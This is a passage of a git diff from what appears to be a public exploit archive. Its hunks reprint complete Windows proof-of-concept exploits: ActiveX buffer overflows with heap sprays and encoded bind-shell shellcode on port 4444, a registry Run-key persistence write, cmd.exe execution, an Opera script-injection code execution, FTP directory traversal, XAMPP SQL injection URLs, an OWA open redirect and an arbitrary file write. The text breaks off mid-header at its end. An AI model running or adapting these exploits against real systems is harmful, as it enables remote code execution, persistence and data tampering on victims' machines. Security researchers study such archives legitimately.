buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x1500000); buffa1 += buffa2; buffa1 += unescape("%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); < /script> < object id="victim" classid="clsid:0F517994-A6FA-4F39-BD4B-EC2DF00AEEF1"> < /object> < script language="vbscript"> appName = String(300, "A") + "?????" victim.CanUninstall appName < /script> < /body> < /html> \ No newline at end of file diff --git a/platforms/windows/remote/32456.txt b/platforms/windows/remote/32456.txt index 7b67f1b02..3dc1a549b 100755 --- a/platforms/windows/remote/32456.txt +++ b/platforms/windows/remote/32456.txt @@ -14,4 +14,4 @@ pass test rnfr any_exist_file.ext 350 File or directory exists, ready for destination name. rnto ..\..\..\boot.ini -250 RNTO command successful. \ No newline at end of file +250 RNTO command successful. \ No newline at end of file diff --git a/platforms/windows/remote/32457.txt b/platforms/windows/remote/32457.txt index 4f6253d55..d6f6611d9 100755 --- a/platforms/windows/remote/32457.txt +++ b/platforms/windows/remote/32457.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc XAMPP 1.6.8 for Windows is vulnerable; other versions may also be affected. -http://www.example.com/xampp/cds.php?action=del&id=1 or 1 \ No newline at end of file +http://www.example.com/xampp/cds.php?action=del&id=1 or 1 \ No newline at end of file diff --git a/platforms/windows/remote/32460.txt b/platforms/windows/remote/32460.txt index b62937332..fb5fd0690 100755 --- a/platforms/windows/remote/32460.txt +++ b/platforms/windows/remote/32460.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc XAMPP 1.6.8 for Windows is vulnerable; other versions may also be affected. -http://www.example.com/xampp/phonebook.php?action=del&id=1 or 1 \ No newline at end of file +http://www.example.com/xampp/phonebook.php?action=del&id=1 or 1 \ No newline at end of file diff --git a/platforms/windows/remote/32489.txt b/platforms/windows/remote/32489.txt index 2c7fb3646..1c6ead316 100755 --- a/platforms/windows/remote/32489.txt +++ b/platforms/windows/remote/32489.txt @@ -8,4 +8,4 @@ OWA 6.5 SP 2 is vulnerable; other versions may also be affected. https://webmail.example.com/exchweb/bin/redir.asp?URL=http://www.example2.com -https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0 \ No newline at end of file +https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0 \ No newline at end of file diff --git a/platforms/windows/remote/32491.html b/platforms/windows/remote/32491.html index 303b70b39..e18936bcc 100755 --- a/platforms/windows/remote/32491.html +++ b/platforms/windows/remote/32491.html @@ -4,4 +4,4 @@ Hummingbird HostExplorer ActiveX control is prone to a buffer-overflow vulnerabi An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions. -<html> <!-- the latest version of this activex (13.0) is compiled with /gs, earlier versions aren't. The XXXX would have overwritten return address. by thomas.pollet@gmail.com --> <object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object> <script language='vbscript'> arg1="001101220123012401250126012701280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX" target.PlainTextPassword = arg1 </script> </html> \ No newline at end of file +<html> <!-- the latest version of this activex (13.0) is compiled with /gs, earlier versions aren't. The XXXX would have overwritten return address. by thomas.pollet@gmail.com --> <object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object> <script language='vbscript'> arg1="001101220123012401250126012701280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX" target.PlainTextPassword = arg1 </script> </html> \ No newline at end of file diff --git a/platforms/windows/remote/32493.html b/platforms/windows/remote/32493.html index 32384182e..a6b813dc3 100755 --- a/platforms/windows/remote/32493.html +++ b/platforms/windows/remote/32493.html @@ -8,4 +8,4 @@ Successfully exploiting these issues allows remote attackers to edit registry ke Hummingbird Deployment Wizard 10 10.0.0.44 is vulnerable; other versions may also be affected. -<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.Run "cmd.exe", "/C calc.exe" End Sub </script> <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe 'test.SetRegistryValueAsString "Existing Registry Path + Existing Registry Key", "Value to change" test.SetRegistryValueAsString "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YourFavouriteKey", "Hello World!" End Sub </script> <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.PerformUpdateAsync "calc.exe" End Sub </script> \ No newline at end of file +<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.Run "cmd.exe", "/C calc.exe" End Sub </script> <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe 'test.SetRegistryValueAsString "Existing Registry Path + Existing Registry Key", "Value to change" test.SetRegistryValueAsString "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YourFavouriteKey", "Hello World!" End Sub </script> <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.PerformUpdateAsync "calc.exe" End Sub </script> \ No newline at end of file diff --git a/platforms/windows/remote/32555.html b/platforms/windows/remote/32555.html index 3c9f92cd8..fd768036e 100755 --- a/platforms/windows/remote/32555.html +++ b/platforms/windows/remote/32555.html @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would run in the context of the affected Opera Web Browser 9.62 is vulnerable. -<!-- # OPERA 9.62 Remote Code Execution # Vulnerability Found By NeoCoderz # Email : NeoCoderz1[at]msn[dot]com --> <html> <script> function execcalc() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:config?q=q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalc()">Click me...(opera:config)</a><br> <script> function execcalca() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:cache?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalca()">Click me...(opera:cache)</a><br> <script> function execcalcb() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:debug?q=q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcb()">Click me...(opera:debug)</a><br> <script> function execcalcc() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:plugins?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcc()">Click me...(opera:plugins)</a><br> <script> function execcalcd() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:about?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcd()">Click me...(opera:about)</a><br> </html> \ No newline at end of file +<!-- # OPERA 9.62 Remote Code Execution # Vulnerability Found By NeoCoderz # Email : NeoCoderz1[at]msn[dot]com --> <html> <script> function execcalc() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:config?q=q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalc()">Click me...(opera:config)</a><br> <script> function execcalca() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:cache?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalca()">Click me...(opera:cache)</a><br> <script> function execcalcb() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:debug?q=q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcb()">Click me...(opera:debug)</a><br> <script> function execcalcc() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:plugins?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcc()">Click me...(opera:plugins)</a><br> <script> function execcalcd() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:about?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcd()">Click me...(opera:about)</a><br> </html> \ No newline at end of file diff --git a/platforms/windows/remote/32661.html b/platforms/windows/remote/32661.html index 20aa579b7..1a4cc40ae 100755 --- a/platforms/windows/remote/32661.html +++ b/platforms/windows/remote/32661.html @@ -4,4 +4,4 @@ Evans FTP ActiveX control is prone to multiple remote buffer-overflow vulnerabil Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions. -<HTML> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD' id='beard' /> <HEAD> <TITLE>EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC</TITLE> </HEAD> <BODY> [+] Application : EvansFTP ActiveX <br> [+] CompanyName : Evans Programming <br> [+] Description : Multi-threaded asynchronus Active-X FTP Control<br> [+] Lib GUID : {DA3C77F4-8701-11D4-908B-00010268221D}<br> [+] Exploit : Remote BoF (PoC)<br> [+] Author : Bl@ckbe@rD // Blackbeard-sql{a.t}Hotmail{dot}fr<br><br> [+] Object Safety Report :<br> Report for Clsid: {7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD}<br> RegKey Safe for Script: Faux<br> RegKey Safe for Init: Faux<br> Implements IObjectSafety: Vrai<br> IDisp Safe: Safe for untrusted: caller,data <br> IPStorage Safe: Safe for untrusted: caller,data <br><br> RegKey Safe for Script: Faux<br> RegkeySafe for Init: Faux<br> KillBitSet: Faux<br> <br><br> The Proprieties (RemoteAddress,ProxyPrefix,ProxyName,Password,ProxyBypassList,LoginName,CurrentDirectory) suffers from Buffer Overflow when we pass long strings in fact : <br> 1- RemoteAddress suffers from a BoF when we pass a string over 2068 <br> 2- ProxyPrefix suffers from a BoF when we pass a string over 1044 <br> 3- ProxyName suffers from a BoF when we pass a string over 1044 <br> 4- Password suffers from a BoF when we pass a string over 1044 <br> 5- ProxyBypassList suffers from a BoF when we pass a string over 1044 <br> 6- LoginName suffers from a BoF when we pass a string over 1044 <br> 7- CurrentDirectory suffers from a BoF when we pass a string over 1044 <br><br> DisASM RemoteAddress Crash :<br><pre> 7C809EEC MOV AL,[EDX] (KERNEL32.dll) 7C809ED4 TEST EDX,EDX 7C809ED6 JE 7C80C858 7C809EDC LEA EDI,[EDX+EAX-1] 7C809EE0 CMP EDI,EDX 7C809EE2 JB 7C80C858 7C809EE8 AND DWORD PTR [EBP-4],0 7C809EEC MOV AL,[EDX] <--- CRASH EBP+8 FEEEFEEE Stack Dump: 13FC18 A7 F3 01 66 EE FE EE FE 04 00 00 00 02 00 00 00 </pre> <script language='vbscript'> Sub RemoteAddress arg1=String(2068, "A") beard.RemoteAddress = arg1 End Sub Sub ProxyPrefix arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub ProxyName arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub Password arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub ProxyBypassList arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub LoginName arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub CurrentDirectory arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub </script><br><br> <INPUT TYPE="button" VALUE="RemoteAddress PoC" ONCLICK=RemoteAddress()> <INPUT TYPE="button" VALUE="ProxyPrefix PoC" ONCLICK=ProxyPrefix()> <INPUT TYPE="button" VALUE="ProxyName PoC" ONCLICK=ProxyName()> <INPUT TYPE="button" VALUE="Password PoC" ONCLICK=Password()> <INPUT TYPE="button" VALUE="ProxyBypassList PoC" ONCLICK=ProxyBypassList()> <INPUT TYPE="button" VALUE="LoginName PoC" ONCLICK=LoginName()> <INPUT TYPE="button" VALUE="CurrentDirectory PoC" ONCLICK=CurrentDirectory()><br><br> Brought to You by Bl@ckbe@rD<br> Peace xD </BODY> </HTML> \ No newline at end of file +<HTML> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD' id='beard' /> <HEAD> <TITLE>EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC</TITLE> </HEAD> <BODY> [+] Application : EvansFTP ActiveX <br> [+] CompanyName : Evans Programming <br> [+] Description : Multi-threaded asynchronus Active-X FTP Control<br> [+] Lib GUID : {DA3C77F4-8701-11D4-908B-00010268221D}<br> [+] Exploit : Remote BoF (PoC)<br> [+] Author : Bl@ckbe@rD // Blackbeard-sql{a.t}Hotmail{dot}fr<br><br> [+] Object Safety Report :<br> Report for Clsid: {7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD}<br> RegKey Safe for Script: Faux<br> RegKey Safe for Init: Faux<br> Implements IObjectSafety: Vrai<br> IDisp Safe: Safe for untrusted: caller,data <br> IPStorage Safe: Safe for untrusted: caller,data <br><br> RegKey Safe for Script: Faux<br> RegkeySafe for Init: Faux<br> KillBitSet: Faux<br> <br><br> The Proprieties (RemoteAddress,ProxyPrefix,ProxyName,Password,ProxyBypassList,LoginName,CurrentDirectory) suffers from Buffer Overflow when we pass long strings in fact : <br> 1- RemoteAddress suffers from a BoF when we pass a string over 2068 <br> 2- ProxyPrefix suffers from a BoF when we pass a string over 1044 <br> 3- ProxyName suffers from a BoF when we pass a string over 1044 <br> 4- Password suffers from a BoF when we pass a string over 1044 <br> 5- ProxyBypassList suffers from a BoF when we pass a string over 1044 <br> 6- LoginName suffers from a BoF when we pass a string over 1044 <br> 7- CurrentDirectory suffers from a BoF when we pass a string over 1044 <br><br> DisASM RemoteAddress Crash :<br><pre> 7C809EEC MOV AL,[EDX] (KERNEL32.dll) 7C809ED4 TEST EDX,EDX 7C809ED6 JE 7C80C858 7C809EDC LEA EDI,[EDX+EAX-1] 7C809EE0 CMP EDI,EDX 7C809EE2 JB 7C80C858 7C809EE8 AND DWORD PTR [EBP-4],0 7C809EEC MOV AL,[EDX] <--- CRASH EBP+8 FEEEFEEE Stack Dump: 13FC18 A7 F3 01 66 EE FE EE FE 04 00 00 00 02 00 00 00 </pre> <script language='vbscript'> Sub RemoteAddress arg1=String(2068, "A") beard.RemoteAddress = arg1 End Sub Sub ProxyPrefix arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub ProxyName arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub Password arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub ProxyBypassList arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub LoginName arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub Sub CurrentDirectory arg1=String(1044, "A") beard.RemoteAddress = arg1 End Sub </script><br><br> <INPUT TYPE="button" VALUE="RemoteAddress PoC" ONCLICK=RemoteAddress()> <INPUT TYPE="button" VALUE="ProxyPrefix PoC" ONCLICK=ProxyPrefix()> <INPUT TYPE="button" VALUE="ProxyName PoC" ONCLICK=ProxyName()> <INPUT TYPE="button" VALUE="Password PoC" ONCLICK=Password()> <INPUT TYPE="button" VALUE="ProxyBypassList PoC" ONCLICK=ProxyBypassList()> <INPUT TYPE="button" VALUE="LoginName PoC" ONCLICK=LoginName()> <INPUT TYPE="button" VALUE="CurrentDirectory PoC" ONCLICK=CurrentDirectory()><br><br> Brought to You by Bl@ckbe@rD<br> Peace xD </BODY> </HTML> \ No newline at end of file diff --git a/platforms/windows/remote/32711.txt b/platforms/windows/remote/32711.txt index e7d683e1d..883eefa56 100755 --- a/platforms/windows/remote/32711.txt +++ b/platforms/windows/remote/32711.txt @@ -11,4 +11,4 @@ Service Level Management 3.5 Submitting the following command through netcat or telnet is sufficient to exploit this issue: -[ipconfig /all] \ No newline at end of file +[ipconfig /all] \ No newline at end of file diff --git a/platforms/windows/remote/32799.html b/platforms/windows/remote/32799.html index 6e57a65d1..67b5890fc 100755 --- a/platforms/windows/remote/32799.html +++ b/platforms/windows/remote/32799.html @@ -6,4 +6,4 @@ An attacker can exploit these issues to execute arbitrary code within the contex Nokia Phoenix Service Software 2008.04.007.32837 is vulnerable; other versions may also be affected. -<html> <object classid='clsid:F85B4A10-B530-4D68-A714-7415838FD174' id='Fucker'></object> <script language = 'vbscript'> junk = String(370, "A") EIP = unescape("%53%49%48%7E") 'call esp from user32.dll XpPro Sp3/IE7 nop = String(12, unescape("%90")) <!-- win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com --> shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49") shellcode=shellcode+unescape("%49%49%37%49%49%49%49%49%49%49%49%49%51%5a%6a%67") shellcode=shellcode+unescape("%58%30%42%31%50%41%42%6b%42%41%77%32%42%42%32%41") shellcode=shellcode+unescape("%41%30%41%41%42%58%38%42%42%50%75%6b%59%39%6c%50") shellcode=shellcode+unescape("%6a%7a%4b%70%4d%6d%38%4b%49%6b%4f%59%6f%69%6f%31") shellcode=shellcode+unescape("%70%4e%6b%72%4c%51%34%56%44%4e%6b%30%45%57%4c%4c") shellcode=shellcode+unescape("%4b%33%4c%57%75%53%48%45%51%68%6f%6e%6b%32%6f%52") shellcode=shellcode+unescape("%38%4e%6b%53%6f%61%30%45%51%5a%4b%42%69%4e%6b%56") shellcode=shellcode+unescape("%54%4e%6b%47%71%78%6e%45%61%4b%70%6f%69%4c%6c%6d") shellcode=shellcode+unescape("%54%6f%30%71%64%65%57%58%41%68%4a%76%6d%35%51%6b") shellcode=shellcode+unescape("%72%78%6b%6c%34%75%6b%73%64%75%74%75%78%51%65%49") shellcode=shellcode+unescape("%75%6e%6b%51%4f%36%44%57%71%5a%4b%70%66%6e%6b%34") shellcode=shellcode+unescape("%4c%30%4b%6c%4b%73%6f%47%6c%65%51%4a%4b%73%33%64") shellcode=shellcode+unescape("%6c%4e%6b%4b%39%70%6c%31%34%77%6c%75%31%69%53%65") shellcode=shellcode+unescape("%61%49%4b%52%44%6e%6b%32%63%36%50%6e%6b%33%70%74") shellcode=shellcode+unescape("%4c%6c%4b%74%30%45%4c%4c%6d%6e%6b%77%30%57%78%61") shellcode=shellcode+unescape("%4e%73%58%6c%4e%50%4e%36%6e%38%6c%56%30%79%6f%38") shellcode=shellcode+unescape("%56%55%36%72%73%65%36%30%68%44%73%34%72%65%38%42") shellcode=shellcode+unescape("%57%53%43%77%42%61%4f%31%44%6b%4f%6e%30%45%38%4a") shellcode=shellcode+unescape("%6b%48%6d%4b%4c%77%4b%46%30%69%6f%4a%76%61%4f%4b") shellcode=shellcode+unescape("%39%6b%55%62%46%4b%31%48%6d%75%58%76%62%43%65%73") shellcode=shellcode+unescape("%5a%35%52%6b%4f%4e%30%55%38%6e%39%65%59%6b%45%6e") shellcode=shellcode+unescape("%4d%62%77%4b%4f%69%46%51%43%46%33%71%43%52%73%63") shellcode=shellcode+unescape("%63%43%73%30%53%70%43%61%43%59%6f%6e%30%72%46%75") shellcode=shellcode+unescape("%38%52%31%71%4c%33%56%43%63%6d%59%59%71%6c%55%72") shellcode=shellcode+unescape("%48%6f%54%66%7a%70%70%4b%77%50%57%4b%4f%4b%66%63") shellcode=shellcode+unescape("%5a%36%70%71%41%50%55%4b%4f%4e%30%61%78%4f%54%4c") shellcode=shellcode+unescape("%6d%56%4e%69%79%52%77%6b%4f%5a%76%36%33%43%65%59") shellcode=shellcode+unescape("%6f%5a%70%45%38%6a%45%30%49%6c%46%57%39%72%77%59") shellcode=shellcode+unescape("%6f%7a%76%50%50%71%44%70%54%52%75%39%6f%58%50%6e") shellcode=shellcode+unescape("%73%42%48%4b%57%71%69%38%46%33%49%41%47%39%6f%49") shellcode=shellcode+unescape("%46%30%55%49%6f%4a%70%50%66%61%7a%31%74%43%56%52") shellcode=shellcode+unescape("%48%75%33%62%4d%6c%49%49%75%71%7a%42%70%50%59%54") shellcode=shellcode+unescape("%69%4a%6c%4c%49%39%77%42%4a%57%34%4b%39%69%72%65") shellcode=shellcode+unescape("%61%4b%70%58%73%6d%7a%6b%4e%50%42%76%4d%6b%4e%50") shellcode=shellcode+unescape("%42%76%4c%4d%43%6e%6d%73%4a%65%68%6e%4b%6e%4b%4c") shellcode=shellcode+unescape("%6b%71%78%32%52%6b%4e%4f%43%34%56%69%6f%72%55%32") shellcode=shellcode+unescape("%64%49%6f%7a%76%43%6b%56%37%56%32%70%51%30%51%32") shellcode=shellcode+unescape("%71%43%5a%37%71%41%41%73%61%63%65%66%31%4b%4f%5a") shellcode=shellcode+unescape("%70%70%68%6e%4d%79%49%73%35%5a%6e%61%43%49%6f%58") shellcode=shellcode+unescape("%56%50%6a%49%6f%59%6f%64%77%59%6f%58%50%4c%4b%32") shellcode=shellcode+unescape("%77%6b%4c%4e%63%48%44%63%54%6b%4f%4e%36%46%32%69") shellcode=shellcode+unescape("%6f%38%50%51%78%78%70%4f%7a%76%64%31%4f%63%63%69") shellcode=shellcode+unescape("%6f%4b%66%6b%4f%68%50%67") NokiaFucker = junk + EIP + nop + shellcode Fucker.SelectDevice NokiaFucker,"" </script> </html> \ No newline at end of file +<html> <object classid='clsid:F85B4A10-B530-4D68-A714-7415838FD174' id='Fucker'></object> <script language = 'vbscript'> junk = String(370, "A") EIP = unescape("%53%49%48%7E") 'call esp from user32.dll XpPro Sp3/IE7 nop = String(12, unescape("%90")) <!-- win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com --> shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49") shellcode=shellcode+unescape("%49%49%37%49%49%49%49%49%49%49%49%49%51%5a%6a%67") shellcode=shellcode+unescape("%58%30%42%31%50%41%42%6b%42%41%77%32%42%42%32%41") shellcode=shellcode+unescape("%41%30%41%41%42%58%38%42%42%50%75%6b%59%39%6c%50") shellcode=shellcode+unescape("%6a%7a%4b%70%4d%6d%38%4b%49%6b%4f%59%6f%69%6f%31") shellcode=shellcode+unescape("%70%4e%6b%72%4c%51%34%56%44%4e%6b%30%45%57%4c%4c") shellcode=shellcode+unescape("%4b%33%4c%57%75%53%48%45%51%68%6f%6e%6b%32%6f%52") shellcode=shellcode+unescape("%38%4e%6b%53%6f%61%30%45%51%5a%4b%42%69%4e%6b%56") shellcode=shellcode+unescape("%54%4e%6b%47%71%78%6e%45%61%4b%70%6f%69%4c%6c%6d") shellcode=shellcode+unescape("%54%6f%30%71%64%65%57%58%41%68%4a%76%6d%35%51%6b") shellcode=shellcode+unescape("%72%78%6b%6c%34%75%6b%73%64%75%74%75%78%51%65%49") shellcode=shellcode+unescape("%75%6e%6b%51%4f%36%44%57%71%5a%4b%70%66%6e%6b%34") shellcode=shellcode+unescape("%4c%30%4b%6c%4b%73%6f%47%6c%65%51%4a%4b%73%33%64") shellcode=shellcode+unescape("%6c%4e%6b%4b%39%70%6c%31%34%77%6c%75%31%69%53%65") shellcode=shellcode+unescape("%61%49%4b%52%44%6e%6b%32%63%36%50%6e%6b%33%70%74") shellcode=shellcode+unescape("%4c%6c%4b%74%30%45%4c%4c%6d%6e%6b%77%30%57%78%61") shellcode=shellcode+unescape("%4e%73%58%6c%4e%50%4e%36%6e%38%6c%56%30%79%6f%38") shellcode=shellcode+unescape("%56%55%36%72%73%65%36%30%68%44%73%34%72%65%38%42") shellcode=shellcode+unescape("%57%53%43%77%42%61%4f%31%44%6b%4f%6e%30%45%38%4a") shellcode=shellcode+unescape("%6b%48%6d%4b%4c%77%4b%46%30%69%6f%4a%76%61%4f%4b") shellcode=shellcode+unescape("%39%6b%55%62%46%4b%31%48%6d%75%58%76%62%43%65%73") shellcode=shellcode+unescape("%5a%35%52%6b%4f%4e%30%55%38%6e%39%65%59%6b%45%6e") shellcode=shellcode+unescape("%4d%62%77%4b%4f%69%46%51%43%46%33%71%43%52%73%63") shellcode=shellcode+unescape("%63%43%73%30%53%70%43%61%43%59%6f%6e%30%72%46%75") shellcode=shellcode+unescape("%38%52%31%71%4c%33%56%43%63%6d%59%59%71%6c%55%72") shellcode=shellcode+unescape("%48%6f%54%66%7a%70%70%4b%77%50%57%4b%4f%4b%66%63") shellcode=shellcode+unescape("%5a%36%70%71%41%50%55%4b%4f%4e%30%61%78%4f%54%4c") shellcode=shellcode+unescape("%6d%56%4e%69%79%52%77%6b%4f%5a%76%36%33%43%65%59") shellcode=shellcode+unescape("%6f%5a%70%45%38%6a%45%30%49%6c%46%57%39%72%77%59") shellcode=shellcode+unescape("%6f%7a%76%50%50%71%44%70%54%52%75%39%6f%58%50%6e") shellcode=shellcode+unescape("%73%42%48%4b%57%71%69%38%46%33%49%41%47%39%6f%49") shellcode=shellcode+unescape("%46%30%55%49%6f%4a%70%50%66%61%7a%31%74%43%56%52") shellcode=shellcode+unescape("%48%75%33%62%4d%6c%49%49%75%71%7a%42%70%50%59%54") shellcode=shellcode+unescape("%69%4a%6c%4c%49%39%77%42%4a%57%34%4b%39%69%72%65") shellcode=shellcode+unescape("%61%4b%70%58%73%6d%7a%6b%4e%50%42%76%4d%6b%4e%50") shellcode=shellcode+unescape("%42%76%4c%4d%43%6e%6d%73%4a%65%68%6e%4b%6e%4b%4c") shellcode=shellcode+unescape("%6b%71%78%32%52%6b%4e%4f%43%34%56%69%6f%72%55%32") shellcode=shellcode+unescape("%64%49%6f%7a%76%43%6b%56%37%56%32%70%51%30%51%32") shellcode=shellcode+unescape("%71%43%5a%37%71%41%41%73%61%63%65%66%31%4b%4f%5a") shellcode=shellcode+unescape("%70%70%68%6e%4d%79%49%73%35%5a%6e%61%43%49%6f%58") shellcode=shellcode+unescape("%56%50%6a%49%6f%59%6f%64%77%59%6f%58%50%4c%4b%32") shellcode=shellcode+unescape("%77%6b%4c%4e%63%48%44%63%54%6b%4f%4e%36%46%32%69") shellcode=shellcode+unescape("%6f%38%50%51%78%78%70%4f%7a%76%64%31%4f%63%63%69") shellcode=shellcode+unescape("%6f%4b%66%6b%4f%68%50%67") NokiaFucker = junk + EIP + nop + shellcode Fucker.SelectDevice NokiaFucker,"" </script> </html> \ No newline at end of file diff --git a/platforms/windows/remote/32826.html b/platforms/windows/remote/32826.html index defe7ec90..a2c6c025d 100755 --- a/platforms/windows/remote/32826.html +++ b/platforms/windows/remote/32826.html @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/33942/info iDefense COMRaider ActiveX control is prone to a vulnerability that lets attackers overwrite arbitrary local files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). -<HTML> <BODY> <object id=target classid="clsid:{9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}"></object> <SCRIPT> function Poc() { arg1="c:\boo.txt" target.write(arg1) } </SCRIPT> <input language=JavaScript onclick=Poc() type=button value="Proof of Concept"> </BODY> </HTML> \ No newline at end of file +<HTML> <BODY> <object id=target classid="clsid:{9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}"></object> <SCRIPT> function Poc() { arg1="c:\boo.txt" target.write(arg1) } </SCRIPT> <input language=JavaScript onclick=Poc() type=button value="Proof of Concept"> </BODY> </HTML> \ No newline at end of file diff --git a/platforms/windows/remote/32879.html b/platforms/windows/remote/32879.html index a39765c81..74826449e 100755 --- a/platforms/windows/remote/32879.html +++ 